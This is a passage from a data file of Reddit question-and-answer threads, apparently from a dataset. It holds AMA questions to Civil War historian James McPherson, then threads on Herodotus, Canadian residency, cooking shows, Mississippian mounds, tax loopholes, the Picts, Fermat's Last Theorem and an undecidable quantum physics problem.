been especially interested in the system of parole and exchange used in war, and I was hoping you could expand on my own readings, especially in regards to its failings. What has been especially eluding me is sound information on how the system was enforced. \n\nLacking any sort of searchable database, was it at all possible to prove that a captured soldier had broken his parole, unless he openly admitted it, or as in a few cases I have found, carried his parole papers on his person when recaptured? If it was discovered that the soldier had broken his parole, what would now happen? And finally, how common was it for a soldier to break parole? Was this widespread, or limited to small numbers here and there?", "Dr. McPherson, can you comment on why the Lost Cause narrative seems so prevalent in recent years? Is it due to any actions taken after the Civil War?", "Dr. McPherson,\n\nHistorians often discuss (or lament) the gulf between prevailing historical interpretations and widespread public knowledge/belief about a given topic. Yet even college courses, in my view, often fall back on the same tired narratives that historians both bemoan (while themselves leading these courses) and seek to complicate and destabilize through their research.\n\nSo, how can historians better engage with the non-academic public, both in and out of the classroom? I feel that the public discourse surrounding the Civil War makes this topic especially relevant, but by no means is this trend limited to American history.\n\nAs a sidenote: Both your works and (very limited!) past correspondence with you factored heavily in my decision to enter graduate school, where I am now pursuing a PhD in 19th century American history. Your encouragement was, given the quality of my work at the time, *very* generous but also very appreciated. Thank you.", "Dr. McPherson! I recently read *War on the Waters* and in it you discuss the event in which the US captured Confederate diplomats that were on a British ship. \nIn your opinion, did the use of the Navy by the Confederates and this event in particular lend credence to the claim that the Confederacy was in fact a separate country during the Civil War? As I recall it nearly brought Britain into the conflict.", "Dr. McPherson, with the increasing prevalence of social history, what is your perspective on the role and importance of military history?", "Dr. McPherson:\n\nI recently finished reading Doris Kearns Goodwin's *Team of Rivals* and was wondering if you could address her argument that Lincoln was a rustic but incredibly savvy political operator in his approach to handling the presidency.\n\nFor that matter, I was also wondering if you could touch on the notion that Edward Bates, Salmon P. Chase, and William H. Seward were absolutely critical to both the political arena and the war effort writ large. She seems to argue that they are more important than figures such as Edwin Stanton, Gideon Welles, or Francis P. Blair, Sr. Do you agree?\n\nThank you for doing this AMA. *Battle Cry of Freedom* was the book that ignited my interest in Civil War history!", "Dr. McPherson, do you think that Jefferson Davis's pursuance of the strategic defensive in late 1861-1862 was wise, given the circumstances under which it was implemented? He seems to have felt that the political consequences of leaving some states to the wolves outweighed the value of military concentration, though the reverses brought on by this policy brought him a great deal of criticism.", "Dr. McPherson, this is perhaps not as technical as many other questions will be, but what is your most poignant story of the Civil War?", "Dr McPherson, I've studied the Civil Wr from the UK for some time and it's a great honour to be able to interact with such an expert, so thank you for that.\n\nMy question is, perhaps, an all too simple one, unfortunately! To me, the Civil war is the most important conflict in modern times, if not all time. It created the foundations of a superpower, it revolutionised warfare and navies and it created Schisms in American society that last to this day in race and geography. To you, what about the civil war inspires such debate and romantic myth and do you believe it to be the most important conflict of all time?", "Dr McPherson \nHaving recently read \"Killer Angels\" by Michael Shaara for a history class, I was wondering what your opinion is on the relationship between Longstreet and Lee. It seemed..rocky during the war and especially afterwards with Longstreet's criticism of Lee's tactics particularly at Gettysburg. My questions are 1. In your opinion is this relationship relative to the outcome of the battle (maybe the war?)  2. How much of their relationship-healthy or not, was accurate and how much is fabricated? \n\n\nThanks for your time, \"Struggle for a Vast Future\" is our textbook and my family makes fun of me because I read it for leisure sometimes. ", "Dr McPherson, part of the popular perception of the Civil War is the appointment of \"political generals\": men who received positions of military command due to political connection or favor. Most of the time, they are criticized for their incompetence and lack of military experience. Were there any politically appointed military commanders who were actually quite adept at leading armies? As well, did the United States Navy have any \"political captains\" in charge of ships or squadrons?", "1. Is there any evidence that the North traded opium for Southern cotton during the war?\n\n2. How did both the Union and Confederacy dye their fatigues?\n\n", "Dr. McPherson, I am interested in your opinion of Civil War reenactments. My girlfriend's father, who's every waking thought seems to center around this period of history, participates in these reenactments. This is my first real exposure to this sort of thing and I'm not really sure what to make of it all. I'm curious what a scholar such as yourself has to say on the topic.", "Dr. McPherson at this point the Civil War is as much American Mythology as American History. As an expert in this era what specific points of divergence between history and myth do you find particularly frustrating?", "Dr. Mcpherson, first I'd like to thank you for your work as a historian. You are one of the primary reasons why I want to become a historian. My question is what is the best advice you can give someone who aspires to become an historian? Currently I'm in the MAT program at USC to become a high school history teacher, but I have considered the PhD route once I have completed my current academic program. ", "Dr. Mcpherson, thank you for your time. One of the most interesting aspects of the Civil War and Reconstruction for me is that even in the face of incredible violence from whites, the many blacks were determined to depend on the federal government to protect them when state and local governments would not. \n\nWere there ever widespread attempts by black communities to arm and defend themselves against white violence? What were some of the factors that would have led black communities to meet violence with violence, and what are some of the factors that would have led them not to?\n\n", "Dr. McPherson, in part this is a question of historiography: perhaps no other period in American history has had its history go through so much revision and re-thinking and discrediting. Is there a history *of the history* of the Civil War that you would recommend? As in, a work that traces the political and historical trends in how academic historians have written about the Civil War, and how Americans have popularly constructed the Civil War in the public consciousness? ", "Being a Southerner who grew up with many of the \"Lost Cause\" myths, the most intriguing and baffling one I have heard of is of \"Negro Confederates\", or black Confederate soldiers.  I have never seen any real satisfactory evidence of this, but it leads me to a larger question.\n\nWhat was the role of slaves/free blacks in the Confederacy and its war effort?", "Not as interesting a post as most of the others, but this one's for my dad, who's a huge fan of your work, and he'd absolutely *love* your answer to this question. Dr. McPherson, what to you is the most interesting engagement of the American Civil War, whether that interest is in terms of strategic and tactical brilliance, overall importance, or even just the horror of the battle or its drama? My dad has been wondering this for quite some time and I figured that this is a once-in-a-lifetime chance to get him the answer he's looking for. Thank you!", "Dr. McPherson, first, thank you for taking your time to share your knowledge and experience with us.\n\nCould you tell us what repercussions from the Civil War are still effecting the US political system today and how?  It seems that our nation is still devastatingly divided in direct relationship to the divide between the North and South.\n\nThank you!", "Lots of very good questions here already, mine is much more light hearted but I'm curious...\n\nThe civil war era has been a popular setting and point of divergence for alternate history writers.  Are you a fan of any works of alternate history, and what sort of alternate history scenarios fromt he period do you find most interesting or have particularly interesting views on?", "One unfortunate aspect of American Civil War scholarship is its extreme insularity, of not being aware of what happened around the world at that time. How can (US) historians be enticed to integrate their work into a wider international picture?", "Hello Dr McPherson! Have you ever met Bruce Catton and if so what was he like as a person? What is your impression of his writing on the civil war?", "Doctor McPherson,  it has been argued that the potential of the rifled musket was lost on most soldiers,  as most combat happened within smoothbore range, and soldiers were not taught how to properly engage at greater distances. How much truth is there behind that claim?  \n\nThank you for taking the time to participate here today, I have always enjoyed your books and cut my civil war teeth on Battle Cry of Freedom. ", "Dr. Mcpherson \u2013\n\nWhen I read your description of Joshua Chamberlain\u2019s charge from Little Round Top in Battle Cry of Freedom I literally jumped out of my chair and ran around my living room like a fan at a basketball game after an amazing play. The boldness of that maneuver, the importance of the battle as a whole and the impact it seemed to have in the outcome made the magnitude of the success of the charge seem immense the way that you told the story. In your footnotes to the book you noted with seeming annoyance that people have seized on this story and I inferred that you felt it may have been over-sensationalized. I unfortunately own a different version of the book than the one I originally read so I can't find the quote. I recently visited Gettysburg and sought out the Little Round Top site to assess for myself what type of strategic impact holding that ground would have had because I was curious how much credit really ought to be ascribed to the 20th Maine. It was quite clear what the impact of yielding the ground would have been as I looked out over the bluff with the monuments representing all the Union positions the Confederates would have been able to shell, and I was fairly surprised by the relatively small elevation gain which the Confederates would have been attempting to push up, actually making the charge seem more impressive as it wasn\u2019t as downhill as I had imagined based on the way you described it in Battle Cry of Freedom. I was very intrigued by the dichotomy between your words on the seeming over-emphasis of the charge in Civil War literature and the geography which seemed to make what he\u2019d done a remarkable feat of bravery for very significant ground. I would be very interested to know what level of significance you feel should be ascribed to this maneuver in the Union success of the battle because it simultaneously seems hugely important and completely overemphasized.", "What do you think of the legality of the South seceding from the Union?  Were they within their right to do it?", "Dr. McPherson,\n\nThanks for taking the time to stop by today. In recent decades, military history, while still popular with public, has fallen deeply out of favor within academia. This has created a generation or two of otherwise good historians that lack a fundamental understanding of warfare, a phenomena that brings together so many different facets of history.\n\nHow can military history remain relevant in modern academia, and why should it do so? Should military historians be concerned with the various negative connotations associated with the field (i.e. that it's the province of old white men that are uninterested in the advances made in other fields of history in recent years)?", "Hi Dr. McPherson, first off thank you for taking questions.  I just read your book \"What they fought for\", and just had one question regarding the south granting freedom to slaves if they fought for the south.  In your research, although black slaves were mostly illiterate, for the book did you come across letters written by black confederate troops?", "Dr. McPherson:\n\nI read that there were actually black slaves fighting for the South during the civil war. What were their motives? Wouldn't it be easier to seize the weapons and use them against the Confederates? If I were a slave at that time I would never give my life to protect to people who oppressed me every day.", "Dr. McPherson, thank you for taking the time to answer some questions! Who do you believe is an underrated and overlooked military general of the war and why? ", "Dr. McPherson,\n\nThanks for joining in today. Less of a question that a comment. You and your wife wrote a biography back in 1990s of [Roswell Lampson](_URL_0_), a U.S. Navy officer aboard the *USS Gettysburg* and a slew of other ships that formed the Union naval blockade. He's an ancestor of mine - Lampson's ship clock and a engraved silver speaking horn his crew gave him are prized family heirlooms. I just wanted to say that your book really helped inspire me to seek out a career as a historian. I'm now a history professor teaching and writing American history at a small liberal arts college. Many thanks!", "Dr. Mcpherson,\n\nThe vast majority of Union soldiers were volunteers. Can you speak to why so many Northern Whites were willing to risk their lives for a cause that was, at least in large part, underpinned by the plight of Southern Black slaves? Was it more about saving the Union or were they genuinely inspired by the cause of slavery? \n\nThank you so much for your thoughts!\n", "Hi Dr McPherson, I have a few questions, some already answered by memebers of this community but I was wondering if you had any further input:\n\n* [Were there any examples of logistics going catastrophically wrong?](_URL_0_)\n\n* [Was there ever a significant refugee problem from people fleeing the violence?](_URL_2_)\n\n* [What were the attitudes towards conscientious objectors/draft dodgers?](_URL_1_)\n\n* [Before the Civil War were there any concrete plans to end slavery in America?](_URL_4_)\n\n* [Considering the nature of the American Civil War were their special units/tactics created to deal with espionage and guerilla warfare?](_URL_3_)\n\n* Similar to Lafayette and Von Steuben were there any foreign nationals who rose to prominence on the continent during the war?\n\n* As with Thomas Paine during the revolution were there any philosophers whose ideas were particularly associated with any faction?\n\n* During the war did any Native American populations serious plan or carry out any actions to exploit the weakness and recover any lost ground?\n\n* Considering how the Civil War could be seen as a transition from the line infantry based combat of the past to the trench warfare based future was there a similar level of innovation by troops at the front in terms of adapting equipment to the new environments they faced?\n\nEDIT: Quick question about the downvotes, have I messed up formatting wise or something? If someone could let me know I'll edit it out.", "Thank you, Dr. McPherson, for doing this.\n\nMy question: What were the various sentiments among the southern states before ratification of the Constitution about the possibility of leaving the Union if they wanted to at any time in the future? Was there a feeling that the southerners would have never joined the Union of they knew they couldn't get out? How widespread was it?", "Fellow Gustie Dr. McPherson- Thanks for doing this AMA! I loved my history courses at Gustavus- and one important thing they taught me is that there is a considerable amount of inaccurate historical writing today. What qualities do you look for in historical narratives that ensure quality research? Who are some of your favorite historical scholars?", "Thank you for doing this. I have always wondered something. Did the experience of Southern Jews change during the time of the Confederacy? ", "Dr. McPherson, What was the extent of the Sharpshooters regiments involvement in battles? Was it mainly as skirmishers or as regular line troops? As were they equipped differently from a regular unit other than their weapons?", "Hello Dr. McPherson,\n\nIn a history course I took last year, my professor said that Henry Clay \"postponed\" the Civil War for many years. I was very interested in Clay and his policies throughout the course, and I was wondering what your views are on him. Do you think that the Civil War would have occurred earlier if Clay had not been present? Or rather, would there have been a higher chance of the events which caused the war, for example the secession of the South, occurring earlier? \nI would love to hear any of your thoughts on Clay and his policies, thank you very much and have a great day!", "A less scholarly question: do you enjoy board games or computer games that let you play out the Civil War (or other wars) in \"what if\" kind of scenarios? Or games at all?", "Questions about McClellan and his actions after the Battle of Antietam...\n\n_URL_0_\n\nThis is a letter from the field claiming that McClellan sent a warning for Lee to run.  I question how truthful it is, but why would he want Lee to escape?  Was he a Southern sympathizer? \n\nStumbled across this while I was doing a paper and did not really know what to make of it.", "Dr. McPherson, I am currently writing a thesis about total war tactics in relation to nineteenth century military law and my analysis keeps on circling back to whether we should be calling the Civil War a \"total\" war, \"the first modern war,\" etc. You have said in the past (I think 1996 I could be wrong) that historians have a point when they say that \"total war\" does not have a good nineteenth century context, but that the argument is only one of semantics. But in the past decade, work by historians like Mark E. Neely Jr. suggests, to me at least, that a proper reassessment might be in order. Has your thinking on this issue changed in light of this scholarship?", "How involved was the Hispanic population of Texas in the Confederate Cause? ", "Dr. McPherson, I have no questions for you, but I would just like to tell you that your book \"Battle Cry of Freedom\" was a thoroughly enjoyable read, helped to give me a greater understanding of the American Civil War; and thus how it relates to a world history perspective to my historical niche, the First World War.  Thank you for publishing such fine work. ", "I'd like to ask a question that relates to something others have said about your work; that you are more interested in the intersection of military history, social history, and cultural history than many others. With that in mind, could you comment on how the way the war was fought especially early on relates to broader trends in Antebellum culture and in particular prevailing ideas about and images of military conflict? For example, did reporting of the Crimean war and the photographs of Roger Fenton affect or notably fail to affect the way the leadership of either the North or the South thought about war and warfare in the early stages of the conflict and how did that play out on the battlefield? Likewise, did the ongoing conflicts with Native Americans affect either military theory or popular discourse on the Civil War?\nApologies if either or both of these questions are iffy or misformed, and thanks in advance for looking at them!", "Is there any new theories/narratives/viewpoints/controversies recently out due to new evidence (archaeological/archive/etc)?", "Thank you Dr. McPherson for your previous answer to my question regarding Hispanics and the Civil War. My next question involves tactics and  doctrine. My focus is in the Napoleonic Wars and I have heard the Civil War using Napoleonic tactics, but I hear that Clausewitz had more of an influence on tactical theory than Jomini. \n\nWhom would you credit as being a philosophical father of the tactics used by the North and the South, Jomini or Clausewitz?", "How do you feel about Civil War Reenacting?", "Dr. McPherson how would you respond to William Freehling's contentions that European Intervention was never a serious possibility and that the election of 1864 was not nearly as important as most histories portray?"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/James_M._McPherson"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.amazon.com/Lamson-Gettysburg-Letters-Lieutenant-Roswell/dp/0195116984"], [], ["http://www.reddit.com/r/AskHistorians/comments/1xr4yu/during_the_american_civil_war_were_there_any/", "http://www.reddit.com/r/AskHistorians/comments/1xvzfa/during_the_american_civil_war_what_were_the/", "http://www.reddit.com/r/AskHistorians/comments/1xy38j/during_the_american_civil_war_was_there_ever_a/", "http://www.reddit.com/r/AskHistorians/comments/1yjhca/considering_the_nature_of_the_american_civil_war/", "http://www.reddit.com/r/AskHistorians/comments/1xzj2t/before_the_civil_war_were_there_any_concrete/"], [], [], [], [], [], [], ["http://memory.loc.gov/mss/mal/mal1/373/3731900/001.jpg"], [], [], [], [], [], [], [], []]}
{"q_id": "3wkqjs", "title": "Herodotus claimed that the Egyptians and the Libyans were the healthiest people in his time. Is there evidence to support this, and if so how did they achieve this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wkqjs/herodotus_claimed_that_the_egyptians_and_the/", "answers": {"a_id": ["cxx1sk7"], "score": [2], "text": ["I once remember reading Herodotus' comments regarding the different nationalities of the skulls he observed at the site of the Battle at Pelusium (525 BCE);\n\n\n\n*I was witness moreover of a great marvel, being informed of it by the natives of the place; for of the bones scattered about of those who fell in this fight, each side separately, since the bones of the Persians were lying apart on one side according as they were divided at first, and those of the Egyptians on the other, the skulls of the Persians are so weak that if you shall hit them only with a pebble you will make a hole in them, while those of the Egyptians are so exceedingly strong that you would hardly break them if you struck them with a large stone.*\n\n*The cause of it, they say, was this, and I for my part readily believe them, namely that the Egyptians beginning from their early childhood shave their heads, and the bone is thickened by exposure to the sun: and this is also the cause of their not becoming bald-headed; for among the Egyptians you see fewer bald-headed men than among any other race. This then is the reason why these have their skulls strong; and the reason why the Persians have theirs weak is that they keep them delicately in the shade from the first by wearing tiaras, that is felt caps.*\n\nHerodutus, *The Histories*, 3.12\n\n\n\nTo echo the OP's question, (assuming the conclusions Herodotus drew were incorrect) what would have been the ethnological reason for this difference between the skulls, if any?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5bylal", "title": "how do you become a canadian permanent resident?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bylal/eli5_how_do_you_become_a_canadian_permanent/", "answers": {"a_id": ["d9sahv5", "d9sal7j"], "score": [10, 2], "text": ["There are standards for becoming a Canadian permemant resident, and unfortunately you don't fit the criteria.\n\n_URL_0_", "A few routes:\n\n- Get in via a work permit or study permit and then fufil the residency requirements (i.e. live here long enough and contribute to society for long enough)\n- be sponsored by a family member (parent, spouse most likely)\n- express entry if you meet a host of requirements i don't understand but can be found on _URL_0_\n\nall of the above require criminality and security clearance as well as other background checks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/personalfinance/comments/53hxvp/20_year_old_working_a_dead_end_job_with_an_income/"], ["cic.gc.ca"]]}
{"q_id": "8sml0n", "title": "wouldn't the last dish tasted on a food competition show like master chef always get eliminated because the dish would be too cold to appreciate?", "selftext": "In these shows they all stop cooking at the same time.\n\nThere is some banter then the tasting begins 1 dish at a time with comments after each dish\n\nHow is this fair to the last person tasted?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8sml0n/eli5_wouldnt_the_last_dish_tasted_on_a_food/", "answers": {"a_id": ["e10lwnl", "e10ntf4", "e10xt35", "e119urp"], "score": [5, 7, 2, 4], "text": ["Same way they do in restaurants: they have heated counters for plates, and \"sinks\" with hot water to keep pots/pans hot, but not cooking. It keeps it all nice and warm and ready to be served later on.", "It often is cold when they are showing the tasting at the end. The judges and the producers taste every thing hot when they go around, but that\u2019s often either not filmed or edited out.\n\n_URL_0_", "They actually make several identical plates. The judges formally taste one for the cameras. They probably have already decided before they do a final tasting. Everything is edited. ", "Well.. actually they are all the same temperature.  Why? They are all cold.  Because of how TV shows are made, there is usually a pretty long gap between when they prepare it, and when we -see- the judges eat it.  The food all gets cold.  some shows do create an extra dish for the judges to taste off of while it is hot and if you watch closely you can tell.  Their will be three judges, but they will be preparing four dishes.\n\nFrom an interview with a MasterChef judge in the Daily Mail:\n\n\" while viewers are fascinated by the 'hot' appetizing food they see, the dishes being judged are actually eaten when they are cold.\n\n'It has always been cold and it always will be cold but we taste everything hot off camera,' Calombaris told Daily Mail Australia.\n\n'So at the end of the cook, you \\[viewers\\] don't see that - no one sees that apart from the three of us and the executive producer. We will go around the room and the three of us will taste everything hot out of their \\[contestants\\] pot.\n\n'It looks sexy on TV but it takes time to film. So when you see us tasting at the end - it's cold but I've already made the decision, I already know what it tastes like.'\n\nSource:[_URL_0_](_URL_0_)\n\nAnd the fact that I really really like cooking shows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dailymail.co.uk/news/article-3270095/Fasting-MasterChef-shoots-avoiding-commercial-fast-food-people-just-leave-Pete-Paelo-Evans-George-Calombaris-opens-Australia-s-obsession-food.html"], [], ["http://www.dailymail.co.uk/news/article-3270095/Fasting-MasterChef-shoots-avoiding-commercial-fast-food-people-just-leave-Pete-Paelo-Evans-George-Calombaris-opens-Australia-s-obsession-food.html"]]}
{"q_id": "pxoyo", "title": "Why isn't flooding considered to be a good explanation for the mounds of the Mississippian culture? ", "selftext": "Some wiki hopping brought me to a page on [Mississippian culture](_URL_2_) who apparently built quite big mounds with structures on top and at least partly lived near rivers and on floodplains. \n\nI'm no archaeologist, I actually study hydrology, and the first thought that occurred to me was that these mounds could serve an obvious purpose as a safe haven for when the river flooded. However the wiki doesn't seem to mention them serving this purpose.\n\nWiki states the mounds were used as ceremonial and burial places, however this is also logical in the context of flood protection, because I can imagine you don't want your sacred sites to be flooded and covered in river sediments periodically. Also chiefs often lived on them and they probably also didn't want their homes to be flooded either.\n\nLook at this picture of the [Kincaid Mounds](_URL_3_), they are right next to the river. In the Netherlands and other parts of Europe [artificial dwelling hills are confirmed shelters](_URL_0_) for floods and were already built in 500BC.\n\nOther [mound building cultures](_URL_1_) in America didn't live in the flood plains, but maybe they just took the mound building culture developed on the floodplains to other regions.\n\nSo my question then is why didn't archeologists start from the assumption that mounds were used against floods and that the other purposes for them logically follows from the fact that they survive floods.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pxoyo/why_isnt_flooding_considered_to_be_a_good/", "answers": {"a_id": ["c3t4vmc"], "score": [2], "text": ["I can give you an anthropologist's perspective on why this theory is not prevalent. The mound builders in Mississippian culture probably did not start erecting these structures earlier than 800 CE. There simply wasn't a large civilization there earlier on. The Hopewell culture in Ohio did build smaller mounds, however, which were used for ceremonial purposes. These mounds were too small to be of any use as flood protection. The Aztecs and other Meso-American cultures were already building pyramids and mounds in the first century. So the cultural diffusion would have to go the other way around if somehow other mound building cultures inspired activities in the Midwest (this seems very unlikely to me). At Teotihuacan, there are drainage systems built into the pyramids, so it seems more likely to me that mound-building technology would have been used for drainage or aversion of water rather than a place of high ground, but that's just a guess. It is unlikely that Mississippian architecture has any connection to shelters in western Europe. \n\nI looked up some things on Academic Search Premier, but wasn't able to find any scholarly articles discussing your exact question. The only related articles I found were discussing the problems with flooding in relation to excavation and preservation, since some mound sites apparently got buried by river sediment. I did find one article on agriculture stating that \"virtually all known sites are situated along the outskirts of low sandy ridges, where they are free from danger of floods,\" but this is for field plots, not mounds. Another article suggested a city in Kansas was built under the protection of a natural levee. I would have to research this further, but my hypothesis is that mound-building cultures probably dealt with seasonal flooding through the strategic placement of structures and fields, and employed drainage ditches, levees, and other smaller adjustments to local topography rather than mounds, which are extremely labor intensive.\n\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Artificial_dwelling_hill", "http://en.wikipedia.org/wiki/Mound_builder_%28people%29", "http://en.wikipedia.org/wiki/Mississippian_culture", "http://en.wikipedia.org/wiki/Kincaid_Mounds_State_Historic_Site"], "answers_urls": [[]]}
{"q_id": "3t02ov", "title": "there are tons of stories about companies using loopholes to not pay taxes in countries they do business in (facebook in england, ikea in australia). my question: why don't countries go after these companies more? don't they want the taxes they've lost out on?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3t02ov/eli5_there_are_tons_of_stories_about_companies/", "answers": {"a_id": ["cx1wxff", "cx1wxqg", "cx1xlfa", "cx207ol", "cx21l4z", "cx2i2mj"], "score": [30, 5, 3, 2, 8, 2], "text": ["The whole point of a loophole is that it's legal, so there is nothing to \"go after them\" for, on the face of it. The companies aren't breaking the rules of the game, they're just using the rules  in ways the referees didn't expect.\n\nGovernments can try to pass new tax laws (or repeal previous ones) to close the loopholes, but lobbyists will do their best to stop or at least influence this process. New laws will likely have their own loopholes as well, inserted by those who have been lobbied, as simple oversights, or unrealized interactions with other laws or treaties.", "You can't really go after someone for exploiting a loophole.  Loopholes are legal.  Sometimes even intentional(although it's not really a loophole at that point).  For example businesses pay taxes on profit not revenue.  So as long as they reinvest all of their revenue into the business they have no profit to pay taxes on ", "There is a big (huge) internationally coordinated  project going on right now to change tax rules to allow countries to tax more of that income.  The \"base erosion and profit shifting\" (BEPS) project of the OECD.   Final reports in 15 different subject areas just came out in October. ", "On a separate note, Ikea is technically the worlds biggest charity, dedicated to \u201cinnovation in the field of architectural and interior design\u201d.\n\n[source](_URL_0_)\n", "Here is the Explain Like I'm Five: Companies are paying taxes, but for companies that do business in many countries those countries are having a fight about which one of them should get the taxes.  What you have heard is wrong, and really this is about countries having a dispute with other countries, not countries having a dispute with companies.\n\nHere is the longer story, and I am going to over-simplify this HORRIBLY (just for all the reddit tax lawyers sharpening their pens right now).  Your typical company has three kinds of property: their product, their IP, and the value of their brand name.\n\nIf I sell an iPhone in England there is profit attributable to the sale of the physical hardware, there is profit attributable to the IP that made that hardware possible, and there is profit attributable to the brand name attached to that hardware.  If the IP is owned by a holding company in Ireland, and the brand name is owned by a US corporation, and the hardware was made in China, how should that money be divided?  By careful tax planning (going so far as to asking US tax authorities to confirm in ADVANCE that some of the assumptions being made are reasonable) the vast majority of the profits on the sale can be attributed to the Irish company, while the vast majority of the expenses, can be put in the brand name and manufacturing side of things, meaning really the only company making a profit for tax purposes is in Ireland.  Of course the company intended this to be the outcome because Ireland has more favorable tax rates, but that is the reality of international business.\n\nWho is the \"bad guy\" in this?  It isn't the company, the company is just following the rules, and even getting the OK in advance from the IRS in some cases.  The \"bad guy\" is Ireland because it has a lower tax rate.  \n\nBut countries are allowed to have their own tax rates arn't they?\n\nAnd this is why there is no simple fix.  In theory everything is going the way it should, we just end up with a result that some people dislike.", "The companies pay politicians to keep the tax loopholes (with public speaking fees, promises of future employment or by employing family members of the politician). Our biggest problem is that unearned income is only taxed at 15% while earned income is taxed up to 50% (35% income tax plus 15% self-employment FICA tax). This motivates the wealthy to invest in passive income like bonds, stock, and gold. If it was the other way around and we had earned income taxed at a lower rate than unearned income then the wealthy would be motivated to start a company so they could collect a paycheck as president/CEO."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.economist.com/node/6919139"], [], []]}
{"q_id": "xocwm", "title": "Who exactly were the Picts?", "selftext": "There isn't that much information on them really, at least as far as I can find, but from what I gather they were the last pre-Celtic ethnic group left in Britain. I also seem to recall reading somewhere that a Roman linguist or translator thought their language was a bit like Basque. Would this mean that the Picts are a really ancient nation, like the Baques? Possibly descendants of the first people in Britain? Or am I completely wrong and do we know exactly who they were? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/xocwm/who_exactly_were_the_picts/", "answers": {"a_id": ["c5o4sdx", "c5o5tzd", "c5o7ffu"], "score": [3, 3, 29], "text": ["~~We know very, very little about them.~~\n\nI stand corrected. _URL_0_", "If their language can be used as a guide they would have been related to the Welsh, Cornish and Bretons. There are geographical names in the NE Highlands of Scotland which are similar to place names in Wales, such as names with the prefix aber- or pit-.\n\nThere were also related tribes in south Scotland in the 9th century possibly speaking a similar language.", "The Picts are the original Celtic inhabitants of Scotland (the Scots actually  being Irish who came over in the 5th century).  For much of the 20th century there was actually debate over whether they spoke a Celtic language or were part of the pre-Indo-European, non-Celtic inhabitants of the British Isles, but more recently it has been decided that they were Celts. The most important thing to know about them is that when they went into battle, they would get naked and paint themselves blue with dye made from woad.  The Romans didn't think much of this, called them Picts (meaning \"painted\" in Latin) and built Hadrian's wall from one side of England to the other in the hopes of keeping them on the other side of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Picts"], [], []]}
{"q_id": "2b0zlc", "title": "What are Modular Forms, Elliptic Curves, and how do the two relate to Fermat's Last Theorem?", "selftext": "I am having trouble understanding modular forms and elliptic curves, and was wondering if someone could explain them in layman's terms; maybe relate them to the world somehow. \n\nSchooling: I have gone through Algebra 2 and will be going into precalculus. I self studied calc though. \n\n Thank You!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2b0zlc/what_are_modular_forms_elliptic_curves_and_how_do/", "answers": {"a_id": ["cj0zdx4"], "score": [14], "text": ["I will do my best at giving an accurate, yet layperson explanation. So, both Elliptic Curves and Modular Forms tell us things about numbers. Elliptic Curves can give us information about roots of polynomials and how these roots interact with each other. Elliptic curves soaked in information about how numbers combine to get new numbers, you can think of this as the arithmetic content of numbers.\n\nModular Forms tell us different things about numbers, in a way they tell us about the geometric side of things. We are still concerned with multiplication, but Modular Forms tell use how the geometry of the numbers evolve when we multiply things together.\n\nSo we can look at things in two ways: The Arithmetic way through Elliptic Curves, or the Geometric way with Modular Forms. One of the big ideas in Number Theory is that these two interpretations say the exact same thing, just in different ways. So if you want to know something about the arithmetic, and it's hard in that context, then we can just pop over to the geometric side where we ask the appropriate question and may get an easier answer. And vice versa. It's a very deep idea and goes far beyond Elliptic Curves and Modular Forms, and it is generally very hard to prove that these correspondences exist. What Wiles did was prove that this correspondence between the Arithmetic and the Geometric actually does exists when we have Elliptic Curves and Modular Forms.\n\nSo what does this have to do with Fermat's Last Theorem? It turns out that the equation x^(n)+y^(n)=z^(n) is okay when we look at things arithmetically, at first glance it doesn't do anything too bad. If that equation had solutions, we would be able to create an Elliptic Curve that contains all the arithmetic information without any problems. But this equation does behave badly when we try to transfer it over to the geometric side of things. If the equation does have solutions and we build the elliptic curve corresponding to it, then we find that it behaves so badly geometrically that there would be no partner modular form for our elliptic curve. In other words, the Arithmetic  < - >  Geometric correspondence would be *false* if  x^(n)+y^(n)=z^(n) had a nontrivial solution. But because Wiles showed that the correspondence is, in fact, *true*  we can conclude that the equation must not have any solutions!\n\nYou may have already seen it, but check out the [BBC Documetary](_URL_0_) on this result. It's actually pretty good!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Ua8K8HW2Qsg"]]}
{"q_id": "3wpe3f", "title": "what does this article mean when it says \"a fundamental quantum physics problem has been proved unsolvable\"?", "selftext": "ARTICLE-\n\nFor the first time a major physics problem has been proved unsolvable, meaning that no matter how accurately a material is mathematically described on a microscopic level, there will not be enough information to predict its macroscopic behaviour.\n\nThe research, by an international team of scientists from UCL, the Technical University of Music and the Universidad Complutense de Madrid \u2013 ICMAT, concerns the spectral gap, a term for the energy required for an electron to transition from a low-energy state to an excited state.\n\nSpectral gaps are a key property in semiconductors, among a multitude of other materials, in particular those with superconducting properties. It was thought that it was possible to determine if a material is superconductive by extrapolating from a complete enough microscopic description of it, however this study has shown that determining whether a material has a spectral gap is what is known as \u201can undecidable question\u201d.\n\n\u201cAlan Turing is famous for his role in cracking the Enigma, but amongst mathematicians and computer scientists, he is even more famous for proving that certain mathematical questions are `undecidable\u2019 \u2013 they are neither true nor false, but are beyond the reach of mathematics code,\u201d said co-author Dr Toby Cubitt, from UCL Computer Science.\n\n\u201cWhat we\u2019ve shown is that the spectral gap is one of these undecidable problems. This means a general method to determine whether matter described by quantum mechanics has a spectral gap, or not, cannot exist. Which limits the extent to which we can predict the behaviour of quantum materials, and potentially even fundamental particle physics.\u201d\n\n\n\nThe research, which was published today in the journal Nature, used complex 